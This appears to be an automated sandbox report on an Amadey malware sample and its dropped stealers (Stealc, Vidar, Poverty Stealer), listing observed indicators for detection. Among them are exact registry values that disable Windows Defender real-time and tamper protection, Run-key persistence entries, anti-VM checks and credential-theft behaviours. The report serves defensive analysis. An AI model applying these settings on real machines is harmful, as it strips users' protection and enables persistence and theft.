amadey | ba83807eaf0091c523cc48c99735ae4d690996446a6018aef97f4c07f7529a09

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	4135398cf6.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	4135398cf6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	4135398cf6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	4135398cf6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	4135398cf6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	4135398cf6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	4135398cf6.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	4135398cf6.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	4135398cf6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	4135398cf6.exe

Poverty Stealer
Poverty Stealer is a crypto and infostealer written in C++.
stealer povertystealer
Povertystealer family
povertystealer
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 16 IoCs

Query Registry

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	49afafb5a2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	FR5MVRFWWK6EPYHEW9UM6Y.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bncn6rv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	17df09620c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	787a5f5ef6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8323f7acef.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ec6d990530.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4135398cf6.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
34	4168	powershell.exe
36	4696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
216	powershell.exe
436	powershell.exe
4800	powershell.exe
2816	powershell.exe
4168	powershell.exe
4696	powershell.exe
7360	powershell.exe
216	powershell.exe
2816	powershell.exe
4488	powershell.exe
3504	powershell.exe
2732	powershell.exe
4128	powershell.exe

Downloads MZ/PE file 29 IoCs

flow	pid	Process
365	4136	bncn6rv.exe
365	4136	bncn6rv.exe
365	4136	bncn6rv.exe
365	4136	bncn6rv.exe
365	4136	bncn6rv.exe
365	4136	bncn6rv.exe
365	4136	bncn6rv.exe
381	4924	rapes.exe
381	4924	rapes.exe
381	4924	rapes.exe
34	4168	powershell.exe
36	4696	powershell.exe
70	212	mIrI3a9.exe
177	7768	ec6d990530.exe
339	4924	rapes.exe
363	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
28	4924	rapes.exe
140	4452	BitLockerToGo.exe
158	4480	BitLockerToGo.exe

Uses browser remote debugging 2 TTPs 21 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
4168	chrome.exe
3632	chrome.exe
7212	chrome.exe
4116	chrome.exe
6100	chrome.exe
3840	msedge.exe
5156	msedge.exe
6588	chrome.exe
8072	chrome.exe
3052	msedge.exe
5360	msedge.exe
1824	msedge.exe
8120	chrome.exe
6228	chrome.exe
7784	msedge.exe
2220	chrome.exe
3068	chrome.exe
5976	msedge.exe
5244	msedge.exe
5748	msedge.exe
5164	msedge.exe

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x00070000000245da-6492.dat	net_reactor
behavioral2/memory/8176-6500-0x0000000000A50000-0x0000000000AB0000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 32 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	FR5MVRFWWK6EPYHEW9UM6Y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4135398cf6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	17df09620c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	787a5f5ef6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4135398cf6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8323f7acef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ec6d990530.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	FR5MVRFWWK6EPYHEW9UM6Y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	787a5f5ef6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bncn6rv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8323f7acef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ec6d990530.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	49afafb5a2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bncn6rv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	17df09620c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	49afafb5a2.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	mIrI3a9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	sqVWjvh.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	ADFoyxP.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 36 IoCs

pid	Process
4924	rapes.exe
2736	7b5aced374.exe
1608	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
4708	lk7ybIi.exe
2492	rapes.exe
2644	lk7ybIi.exe
5088	lk7ybIi.exe
212	mIrI3a9.exe
712	483d2fa8a0d53818306efeb32d3.exe
2632	sqVWjvh.exe
2568	17df09620c.exe
5488	8323f7acef.exe
6008	787a5f5ef6.exe
4236	3bd8e48c7d.exe
6116	3bd8e48c7d.exe
4816	a.exe
7768	ec6d990530.exe
8164	49afafb5a2.exe
5484	FR5MVRFWWK6EPYHEW9UM6Y.exe
6460	ae85dec50f.exe
2468	4135398cf6.exe
4236	sqVWjvh.exe
6480	rapes.exe
6796	PQkVDtx.exe
3892	COM Surrogate.exe
5312	packed.exe
4136	bncn6rv.exe
6056	COM Surrogate.exe
8176	mAtJWNv.exe
4320	mAtJWNv.exe
5192	HmngBpR.exe
7176	rapes.exe
7420	SplashWin.exe
4840	SplashWin.exe
3252	FvbuInU.exe
2444	ADFoyxP.exe

Identifies Wine through registry keys 2 TTPs 16 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	17df09620c.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	8323f7acef.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	FvbuInU.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	ec6d990530.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	FR5MVRFWWK6EPYHEW9UM6Y.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	4135398cf6.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	bncn6rv.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	787a5f5ef6.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	49afafb5a2.exe

Loads dropped DLL 9 IoCs

pid	Process
7420	SplashWin.exe
7420	SplashWin.exe
7420	SplashWin.exe
7420	SplashWin.exe
4840	SplashWin.exe
4840	SplashWin.exe
4840	SplashWin.exe
4136	bncn6rv.exe
4136	bncn6rv.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	4135398cf6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	4135398cf6.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Uninstall 43.053.0058.0001 = "C:\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.YourPhone_3wekyb108bbwe\\opt\\YourPhone.exe"	COM Surrogate.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7b5aced374.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10126980101\\7b5aced374.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10126990121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ec6d990530.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10127880101\\ec6d990530.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\49afafb5a2.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10127890101\\49afafb5a2.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ae85dec50f.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10127900101\\ae85dec50f.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4135398cf6.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10127910101\\4135398cf6.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
369	checkip.amazonaws.com
370	checkip.amazonaws.com
378	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0007000000023dd2-26.dat	autoit_exe
behavioral2/files/0x0011000000023c6b-2990.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs

pid	Process
1680	random.exe
4924	rapes.exe
1608	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
2492	rapes.exe
712	483d2fa8a0d53818306efeb32d3.exe
2568	17df09620c.exe
5488	8323f7acef.exe
6008	787a5f5ef6.exe
7768	ec6d990530.exe
8164	49afafb5a2.exe
5484	FR5MVRFWWK6EPYHEW9UM6Y.exe
2468	4135398cf6.exe
6480	rapes.exe
4136	bncn6rv.exe
7176	rapes.exe
3252	FvbuInU.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4708 set thread context of 5088	4708	lk7ybIi.exe	118
PID 2568 set thread context of 4452	2568	17df09620c.exe	168
PID 4236 set thread context of 6116	4236	3bd8e48c7d.exe	173
PID 5488 set thread context of 4480	5488	8323f7acef.exe	176
PID 8176 set thread context of 4320	8176	mAtJWNv.exe	266
PID 4840 set thread context of 5140	4840	SplashWin.exe	290

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\runtime\COM Surrogate.exe	PQkVDtx.exe
File created	C:\Program Files\runtime\COM Surrogate.exe	packed.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\PracticalPrevent	ADFoyxP.exe
File opened for modification	C:\Windows\FilenameWho	ADFoyxP.exe
File opened for modification	C:\Windows\UpdatedMakeup	ADFoyxP.exe
File created	C:\Windows\Tasks\rapes.job	random.exe
File opened for modification	C:\Windows\PerfectlyFda	ADFoyxP.exe
File opened for modification	C:\Windows\AccreditationShed	ADFoyxP.exe
File opened for modification	C:\Windows\GovernmentsHighly	ADFoyxP.exe
File opened for modification	C:\Windows\HighKerry	ADFoyxP.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
3476	4708	WerFault.exe	114
5312	4236	WerFault.exe	172
6324	8176	WerFault.exe	265
3060	4136	WerFault.exe	259

System Location Discovery: System Language Discovery 1 TTPs 63 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lk7ybIi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mIrI3a9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	expand.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3bd8e48c7d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ec6d990530.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bncn6rv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8323f7acef.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	ae85dec50f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lk7ybIi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	17df09620c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	49afafb5a2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ae85dec50f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SplashWin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqVWjvh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	787a5f5ef6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	ae85dec50f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7b5aced374.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4135398cf6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SplashWin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqVWjvh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ADFoyxP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3bd8e48c7d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FR5MVRFWWK6EPYHEW9UM6Y.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mAtJWNv.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	sqVWjvh.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	bncn6rv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	sqVWjvh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mAtJWNv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	sqVWjvh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
